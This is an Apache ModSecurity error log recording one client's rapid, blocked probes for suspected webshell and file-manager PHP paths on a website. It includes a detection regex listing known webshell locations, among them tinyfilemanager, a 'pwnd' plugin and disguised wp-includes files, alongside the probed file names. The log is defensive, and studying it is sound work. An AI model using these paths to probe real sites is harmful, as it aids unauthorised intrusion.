[Thu Apr 23 20:15:16.871379 2026] [:error] [pid 64998:tid 65006] [client 158.158.100.100:26100] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sad821.php"] [unique_id "aeoNVIV5EysYcTLjmwhSuAAAAcQ"]
[Thu Apr 23 20:15:20.930434 2026] [:error] [pid 64967:tid 64971] [client 158.158.100.100:29305] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sad821.php"] [unique_id "aeoNWIAV4GfOOdX8QzpuxQAAAYI"]
[Thu Apr 23 20:15:22.800031 2026] [:error] [pid 65000:tid 65038] [client 158.158.100.100:52216] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sad821.php"] [unique_id "aeoNWr6vRb9j6psK2ZZMFQAAAgU"]
[Thu Apr 23 20:15:24.865690 2026] [:error] [pid 59700:tid 59721] [client 158.158.100.100:23629] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sad821.php"] [unique_id "aeoNXJXyGZJFeAIDWtkZ-QAAAVM"]
[Thu Apr 23 20:15:28.942106 2026] [:error] [pid 43083:tid 43099] [client 158.158.100.100:58725] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sad8210.php"] [unique_id "aeoNYDC5hrvNXosL83JuqwAAAM4"]
[Thu Apr 23 20:15:31.767120 2026] [:error] [pid 64998:tid 65002] [client 158.158.100.100:52171] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sad8210.php"] [unique_id "aeoNY4V5EysYcTLjmwhS0QAAAcA"]
[Thu Apr 23 20:15:36.886009 2026] [:error] [pid 46953:tid 46959] [client 158.158.100.100:41224] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sad8210.php"] [unique_id "aeoNaEnlpdHh-P6wKbotJQAAAkM"]
[Thu Apr 23 20:15:39.782976 2026] [:error] [pid 64998:tid 65013] [client 158.158.100.100:49822] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sad8210.php"] [unique_id "aeoNa4V5EysYcTLjmwhS4AAAAcs"]
[Thu Apr 23 20:15:42.715182 2026] [:error] [pid 65000:tid 65042] [client 158.158.100.100:27268] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeoNbr6vRb9j6psK2ZZMVgAAAgk"]
[Thu Apr 23 20:15:47.774601 2026] [:error] [pid 43083:tid 43098] [client 158.158.100.100:3686] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeoNczC5hrvNXosL83JurwAAAM0"]
[Thu Apr 23 20:15:54.992991 2026] [:error] [pid 65000:tid 65042] [client 158.158.100.100:43190] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeoNer6vRb9j6psK2ZZMgQAAAgk"]
[Thu Apr 23 20:15:56.960292 2026] [:error] [pid 64998:tid 65007] [client 158.158.100.100:49807] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/man.php"] [unique_id "aeoNfIV5EysYcTLjmwhS_AAAAcU"]
[Thu Apr 23 20:18:39.168560 2026] [:error] [pid 65000:tid 65038] [client 158.158.100.100:55516] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r2.php"] [unique_id "aeoOH76vRb9j6psK2ZZQiQAAAgU"]
[Thu Apr 23 20:18:41.024502 2026] [:error] [pid 42973:tid 43062] [client 158.158.100.100:3590] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r2.php"] [unique_id "aeoOIW6I0QqmmmLTHE0GIgAAAJM"]
[Thu Apr 23 20:18:43.688308 2026] [:error] [pid 64998:tid 65008] [client 158.158.100.100:3604] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r2.php"] [unique_id "aeoOI4V5EysYcTLjmwhUuwAAAcY"]
[Thu Apr 23 20:18:44.908143 2026] [:error] [pid 65000:tid 65042] [client 158.158.100.100:3638] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r2.php"] [unique_id "aeoOJL6vRb9j6psK2ZZQyAAAAgk"]
[Thu Apr 23 20:18:46.694152 2026] [:error] [pid 65000:tid 65043] [client 158.158.100.100:21046] [client 158.158.100.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.vetstars.com.au"] [uri "/tiny.php"] [unique_id "aeoOJr6vRb9j6psK2ZZQ0gAAAgo"]
[Thu Apr 23 20:18:48.928658 2026] [:error] [pid 65000:tid 65038] [client 158.158.100.100:42188] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aeoOKL6vRb9j6psK2ZZQ4gAAAgU"]
[Thu Apr 23 20:18:50.741131 2026] [:error] [pid 42972:tid 43032] [client 158.158.100.100:41833] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aeoOKsOAb-3sOknsk4cfmgAAAFA"]
[Thu Apr 23 20:18:52.565203 2026] [:error] [pid 42971:tid 43004] [client 158.158.100.100:26648] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aeoOLDEP2_5RswrH8bEizAAAABI"]
[Thu Apr 23 20:18:59.141319 2026] [:error] [pid 64998:tid 65024] [client 158.158.100.100:26639] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeoOM4V5EysYcTLjmwhU8QAAAdY"]
[Thu Apr 23 20:19:03.812022 2026] [:error] [pid 42972:tid 43021] [client 158.158.100.100:23576] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeoON8OAb-3sOknsk4cf3gAAAEU"]
[Thu Apr 23 20:19:05.110174 2026] [:error] [pid 46953:tid 46957] [client 158.158.100.100:3286] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeoOOUnlpdHh-P6wKbotlwAAAkE"]
[Thu Apr 23 20:19:11.462448 2026] [:error] [pid 46953:tid 46970] [client 158.158.100.100:25464] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aeoOP0nlpdHh-P6wKbotmQAAAk4"]
[Thu Apr 23 20:19:13.556114 2026] [:error] [pid 59700:tid 59716] [client 158.158.100.100:15998] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aeoOQZXyGZJFeAIDWtkbPgAAAU4"]
[Thu Apr 23 20:19:15.571690 2026] [:error] [pid 59700:tid 59710] [client 158.158.100.100:48672] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aeoOQ5XyGZJFeAIDWtkbQAAAAUg"]
[Thu Apr 23 20:19:18.660730 2026] [:error] [pid 46953:tid 46967] [client 158.158.100.100:58993] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aeoORknlpdHh-P6wKbotnQAAAks"]
[Thu Apr 23 20:19:22.675832 2026] [:error] [pid 64998:tid 65002] [client 158.158.100.100:41302] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/roksad1.php"] [unique_id "aeoOSoV5EysYcTLjmwhVpwAAAcA"]
[Thu Apr 23 20:19:25.365115 2026] [:error] [pid 64998:tid 65022] [client 158.158.100.100:64470] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/roksad1.php"] [unique_id "aeoOTYV5EysYcTLjmwhVuAAAAdQ"]
[Thu Apr 23 20:19:26.299669 2026] [:error] [pid 65000:tid 65043] [client 158.158.100.100:52155] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/roksad1.php"] [unique_id "aeoOTr6vRb9j6psK2ZZRjAAAAgo"]
[Thu Apr 23 20:19:30.394433 2026] [:error] [pid 42972:tid 43035] [client 158.158.100.100:17251] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/roksad1.php"] [unique_id "aeoOUsOAb-3sOknsk4cgOQAAAFM"]
[Thu Apr 23 20:22:29.725684 2026] [:error] [pid 25635:tid 25639] [client 158.158.100.100:3448] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aeoPBcRxv6UsgRGKB3Iu1QAAAQA"]
[Thu Apr 23 20:22:32.279871 2026] [:error] [pid 42972:tid 43024] [client 158.158.100.100:39322] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aeoPCMOAb-3sOknsk4chxQAAAEg"]
[Thu Apr 23 20:22:33.550904 2026] [:error] [pid 42972:tid 43018] [client 158.158.100.100:31570] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aeoPCcOAb-3sOknsk4chyQAAAEI"]
[Thu Apr 23 20:22:38.084401 2026] [:error] [pid 64998:tid 65023] [client 158.158.100.100:30915] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aeoPDoV5EysYcTLjmwhXxAAAAdU"]
[Thu Apr 23 20:22:40.588022 2026] [:error] [pid 64967:tid 64981] [client 158.158.100.100:30975] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d.php"] [unique_id "aeoPEIAV4GfOOdX8QzpvigAAAYw"]
[Thu Apr 23 20:22:43.609319 2026] [:error] [pid 59700:tid 59725] [client 158.158.100.100:58884] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d.php"] [unique_id "aeoPE5XyGZJFeAIDWtkcFAAAAVc"]
[Thu Apr 23 20:22:45.718944 2026] [:error] [pid 42971:tid 43007] [client 158.158.100.100:35280] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d.php"] [unique_id "aeoPFTEP2_5RswrH8bEjUwAAABU"]
[Thu Apr 23 20:22:49.289602 2026] [:error] [pid 42972:tid 43023] [client 158.158.100.100:34681] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d.php"] [unique_id "aeoPGcOAb-3sOknsk4ch5gAAAEc"]
[Thu Apr 23 20:22:50.447554 2026] [:error] [pid 42972:tid 43035] [client 158.158.100.100:19806] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeoPGsOAb-3sOknsk4ch7AAAAFM"]
[Thu Apr 23 20:22:51.767469 2026] [:error] [pid 42973:tid 43051] [client 158.158.100.100:3530] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeoPG26I0QqmmmLTHE0IBgAAAIg"]
[Thu Apr 23 20:22:53.219965 2026] [:error] [pid 65000:tid 65037] [client 158.158.100.100:3907] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeoPHb6vRb9j6psK2ZZVdwAAAgQ"]
[Thu Apr 23 20:22:56.692895 2026] [:error] [pid 25635:tid 25640] [client 158.158.100.100:35323] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeoPIMRxv6UsgRGKB3Iu3QAAAQE"]
[Thu Apr 23 20:22:57.688542 2026] [:error] [pid 42973:tid 43048] [client 158.158.100.100:35809] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/view.php"] [unique_id "aeoPIW6I0QqmmmLTHE0ICwAAAIU"]
[Thu Apr 23 20:22:58.822123 2026] [:error] [pid 42973:tid 43052] [client 158.158.100.100:45264] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/view.php"] [unique_id "aeoPIm6I0QqmmmLTHE0IDQAAAIk"]
[Thu Apr 23 20:23:01.505506 2026] [:error] [pid 42973:tid 43050] [client 158.158.100.100:58936] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/view.php"] [unique_id "aeoPJW6I0QqmmmLTHE0IEQAAAIc"]
[Thu Apr 23 20:23:05.598543 2026] [:error] [pid 42972:tid 43021] [client 158.158.100.100:41744] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/view.php"] [unique_id "aeoPKcOAb-3sOknsk4ciAwAAAEU"]
[Thu Apr 23 20:23:06.691305 2026] [:error] [pid 43083:tid 43092] [client 158.158.100.100:35278] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeoPKjC5hrvNXosL83JvqwAAAMc"]
[Thu Apr 23 20:23:08.451553 2026] [:error] [pid 42972:tid 43040] [client 158.158.100.100:23006] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeoPLMOAb-3sOknsk4ciCQAAAFg"]
[Thu Apr 23 20:23:10.525648 2026] [:error] [pid 65000:tid 65032] [client 158.158.100.100:12826] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeoPLr6vRb9j6psK2ZZVtwAAAgM"]
[Thu Apr 23 20:23:12.735020 2026] [:error] [pid 64998:tid 65021] [client 158.158.100.100:19833] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeoPMIV5EysYcTLjmwhX5wAAAdM"]
[Thu Apr 23 20:23:13.726627 2026] [:error] [pid 64998:tid 65018] [client 158.158.100.100:62987] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeoPMYV5EysYcTLjmwhX7AAAAdA"]
[Thu Apr 23 20:23:15.749812 2026] [:error] [pid 46953:tid 46972] [client 158.158.100.100:15916] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeoPM0nlpdHh-P6wKbou2QAAAlA"]
[Thu Apr 23 20:23:16.561085 2026] [:error] [pid 59700:tid 59709] [client 158.158.100.100:3135] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeoPNJXyGZJFeAIDWtkcTAAAAUc"]
[Thu Apr 23 20:23:18.408379 2026] [:error] [pid 42972:tid 43028] [client 158.158.100.100:47024] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeoPNsOAb-3sOknsk4ciGQAAAEw"]
